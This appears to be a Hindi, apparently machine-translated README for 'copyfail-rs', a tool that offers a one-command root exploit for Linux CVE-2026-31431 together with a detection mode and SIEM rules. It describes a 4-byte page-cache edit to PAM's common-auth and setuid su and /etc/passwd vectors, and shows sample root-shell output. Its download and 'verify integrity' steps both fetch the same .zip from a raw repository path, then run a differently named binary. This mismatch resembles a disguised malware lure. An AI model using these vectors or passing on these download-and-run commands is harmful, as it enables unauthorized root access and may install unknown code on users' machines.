
CVE-2026-31431 कमजोरियों का शोषण और पता लगाना एक स्थैतिक बाइनरी का उपयोग करके जो सिस्टम अखंडता की निगरानी करता है और PAM प्रमाणीकरण को बायपास करता है।
CVE-2026-31431 (CopyFail) के लिए बहु-वेक्टर PoC + युग्मित पहचान। एक नया PAM प्रमाणीकरण-बायपास वेक्टर शामिल है जो किसी अन्य सार्वजनिक PoC में नहीं है। पहचान मोड वह पकड़ता है जो AIDE / Wazuh / OSSEC / Tripwire संरचनात्मक रूप से नहीं पकड़ सकते।
एकल स्थिर बाइनरी। ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
एक कमांड। रूट शेल। हुड के नीचे PAM किलशॉट (एक एकल 4-बाइट राइट टू /etc/pam.d/common-auth), PTY ड्रॉप इन रूट वाया सुडो विथ थ्रोन-अवे पासवर्ड। [sudo] password for noot: लाइन संक्षिप्त रूप से चमकती है, सुडो हमेशा उस संकेत को प्रतिध्वनित करता है; बाइनरी इसे कोई भी स्ट्रिंग खिलाती है और pam_unix की विफलता टिप्पणी किए गए pam_deny.so के माध्यम से pam_permit.so → रूट तक जाती है।
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
यही परियोजना है। डिस्क साफ, कैश उत्परिवर्तित। हर सार्वजनिक FIM अंधा है। यह उपकरण नहीं है।
पूर्व-निर्मित स्थिर बाइनरी v0.1.0 रिलीज़ पर। अपना आर्किटेक्चर चुनें, डाउनलोड करें, चलाएं।
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
अन्य आर्किटेक्चर:
| आर्किटेक्चर | फ़ाइल |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
अखंडता सत्यापित करें:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
स्थिर musl बाइनरी, कोई रनटाइम डिप्स नहीं, किसी भी लिनक्स पर छोड़ा जा सकता है।
पेज कैश उत्परिवर्तन। कोई VFS राइट नहीं। कोई गंदा पेज नहीं। कोई inotify ईवेंट नहीं। आवधिक पुनर्स्कैन बेदखली के साथ होड़ करता है।
AIDE/Wazuh/OSSEC/Tripwire/Samhain बफ़र्ड I/O → पेज कैश के माध्यम से पढ़ते हैं → उत्परिवर्तित बाइट्स को सत्य के रूप में हैश करते हैं। या बेदखली के बाद, साफ डिस्क को हैश करते हैं → "कोई परिवर्तन कभी नहीं हुआ।"
पहचान के लिए O_DIRECT (कैश छोड़ें) + बफर्ड रीड (कैश हिट) + हैश अंतर की आवश्यकता है। बेमेल = CopyFail हस्ताक्षर। वह --scan है।
ऑटो-पिक: --vector auto (डिफ़ॉल्ट)। चुपके के अनुसार pam > su > passwd को रैंक करता है। विफलता पर बैकअप।
SIEM इन्जेस्ट के लिए हर जगह --json।
detection/:
sigma/copyfail-af-alg.yml, Sigma नियम, अपने SIEM में डालेंauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, bpftrace एक-लाइनरapparmor/copyfail-block.profile, AppArmor 3.0+ अस्वीकृति नियमmitigation/disable-algif.sh, modprobe ब्लैकलिस्ट + =y चेतावनीecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
या कर्नेल मेनलाइन a664bf3d603d (अप्रैल 2026)। अब तक: केवल Debian Sid/Forky ने शिप किया। Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = सभी कमजोर।
चेतावनी: CONFIG_CRYPTO_USER_API_AEAD=y (बिल्ट-इन) चुपचाप modprobe को बायपास करता है। --check चेतावनी देता है।
एक्सप्लॉइट + शमन के बाद: कैश उत्परिवर्तन रीबूट तक बना रहता है। शमन नए एक्सप्लॉइट को रोकता है, पिछले को पूर्ववत नहीं करता।
cargo build --release --target x86_64-unknown-linux-musl
| लक्ष्य | आकार |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. कोई एलोकेटर नहीं। कोई रनटाइम डिप्स नहीं। एकल स्थिर बाइनरी।
पूर्व-निर्मित आर्टिफैक्ट और SHA256 योग GitHub रिलीज़ से जुड़े।
प्रति मोड (एक्सप्लॉइट ऑटो/लिस्ट/ऑल, डिटेक्ट चेक/स्कैन/बेसलाइन/डिफ/वॉच/हंट) के ठोस एक-स्क्रीन उदाहरणों के लिए docs/usage.md देखें।
इस README के लंबे-रूप कथा संस्करण (अधिक संदर्भ, गहन प्रदर्शनी) के लिए, BLOG.md देखें।
docs/threat-model.md देखें।
केवल अपना हार्डवेयर। कोई CLI गेट नहीं (सुरक्षा नाटक)। README + LICENSE = ढांचा।
पहचान मोड केवल-पढ़ने के लिए है। उत्पादन पर सुरक्षित।
एक्सप्लॉइट मोड कर्नेल पेज कैश को उत्परिवर्तित करता है। केवल RAM लेकिन विनाशकारी समझें। किसी भी बाद के कॉलर के लिए प्रमाणीकरण अवरुद्ध करता है।
CVE-2026-31431 को Theori / Xint द्वारा 2026-04-29 को खुलासा किया गया (विवरण, Xint ब्लॉग)। पिछले सार्वजनिक PoCs:
यह परियोजना (copyfail-rs): PAM प्रमाणीकरण-बायपास वेक्टर, दोहरी-मोड पहचान, IR कलाकृतियाँ जोड़ती है।
MIT.
a664bf3d603d72548b093ee3 (4.14, Aug 2017)| वेक्टर | लक्ष्य | कहां उतरता है |
|---|
pam (NEW) | /etc/pam.d/common-auth (Debian/Ubuntu) या system-auth (Fedora/RHEL/Arch) | 4 बाइट्स। auth requisite pam_deny.so → #aut requisite pam_deny.so। किसी भी पासवर्ड के साथ सुडो = रूट। |
su | /usr/bin/su | सेटयूआईडी बाइनरी टेक्स्ट उत्परिवर्तित करें। execve → रूट। |
passwd | /etc/passwd | UID फ्लिप → उपयोगकर्ता अगले लॉगिन पर रूट बन जाता है। उस उपयोगकर्ता के लिए SSH तोड़ देता है। |
| मोड | क्या |
|---|
--check | कर्नेल + मॉड्यूल + CONFIG_CRYPTO_USER_API_AEAD + शमन स्थिति। फैसला: कमजोर / शमित / सुरक्षित। |
--scan | महत्वपूर्ण फाइलों पर O_DIRECT बनाम बफर्ड रीड अंतर। statfs()-शाखित: ext4/xfs/btrfs O_DIRECT का उपयोग करते हैं, overlayfs बैकअप करता है, tmpfs छोड़ा जाता है। |
--baseline / --diff | ज्ञात-साफ स्थिति का स्नैपशॉट। बाद में अंतर। केवल-कैश डेल्टा = CopyFail फिंगरप्रिंट। |
--watch | डेमॉन। आवधिक स्कैन। SIGTERM साफ। |
--hunt | SSH फ्लीट स्वीप। JSON समग्र। |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| वेक्टर | su | su + passwd | su | su + passwd + PAM (नवीन) |
| पता लगाना | none | none | none | पूर्ण --mode detect |
| IR कलाकृतियाँ | none | none | none | Sigma + auditd + eBPF + AppArmor |
| संचालक UX | 3 कमांड | 4 कमांड | 5 कमांड | 1 कमांड |
| बाइनरी | Python आवश्यक | ~10 KB | ~5 MB | ~108 KB static |